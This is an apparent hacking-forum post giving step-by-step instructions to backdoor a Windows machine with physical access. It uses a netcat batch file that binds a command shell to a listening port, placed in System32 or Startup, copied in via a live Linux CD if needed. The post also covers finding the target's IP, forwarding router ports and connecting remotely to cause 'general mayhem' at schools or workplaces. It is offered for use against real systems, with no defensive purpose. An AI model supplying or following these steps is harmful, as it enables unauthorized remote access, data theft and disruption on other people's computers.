How to BackDoor a Windows System Some of you may argue that this is stupid or to just use a trojan but I enjoy having cmd line access to my target. This is normally something that you will need physical access to attempt but only for a short period of time. A Backdoor is just as the name suggest an open security flaw allowing you access to come into the system or house. Prerequisites  1st. You will need a USB Stick or other Portable Media Device. 2nd. You will need to download a copy of Netcat for windows from here. 3rd. You will need to know how to write a batch file. If you dont than gtfo of my thread. How to BackDoor a Computer How you Backdoor the computer your working with is largely up to you and up to the amount of security present on the computer. If there is high level security on the network that the computer is present on or physical security AKA people you might have a hard time pulling this off but with a little creativity you should be just fine. 1st. Download netcat and extract the nc.exe to your portable media drive. 2nd. Make a .bat file with this as the contents "nc -L -p 888 -d -e cmd.exe" the 888 you can change to whatever port you wish. 3rd. Copy the bat file and the nc.exe to the same folder. 4th. Take your devious little peice of backdooring media to the computer you wish to backdoor. 5th. Here comes the trickey bit with the security if you do not have access to the windows System32 directory or the Startup directory than your backdoor will only work while the computer is on. However if you dont have Access to the System32 or Startup you can always use a live Linux CD or some other OS Live that will allow you to mount the hard drive and copy the files into the directorys. Now if you copy your backdoor into the System32 it will run at startup as a service this is the most ideal condition. 6th. WAIT before you ditch your newley backdoored computer you need to find out the IP or WAN IP of it. If you are on the Same LAN as the computer you backdoored such as a school or workplace just go into the CMD prompt and type ipconfig /all and find the IP of that workstation. But if you are trying to hack the computer from a far away location you need the WAN IP to find the WAN IP you need to go to a site such as mywanip.com. BUT NOTE SOMETIMES THE FIREWALL will block your poor little netcat so be carefull you might have to hack the router when you have local access and port forward. 7th. Now that the computer is backdoored you may retreat to your secret hacking lair. First to connect to your backdoor you need to open a CMD Prompt in windows or a Terminal in Linux or Mac. Than you need to telnet into the Netcat by using the command "telnet "theipyougot" "theportthatyouhadchangedtoor888" " . Now you have access to a CMD Prompt on the Windows Machine you just hacked have fun looking through files or causing general mayhem. Never underestimate the power of having CMD Access to a machine. Quote:Your goldfish will be confiscated. As it was identified as an accomplice in this hacking attempt.
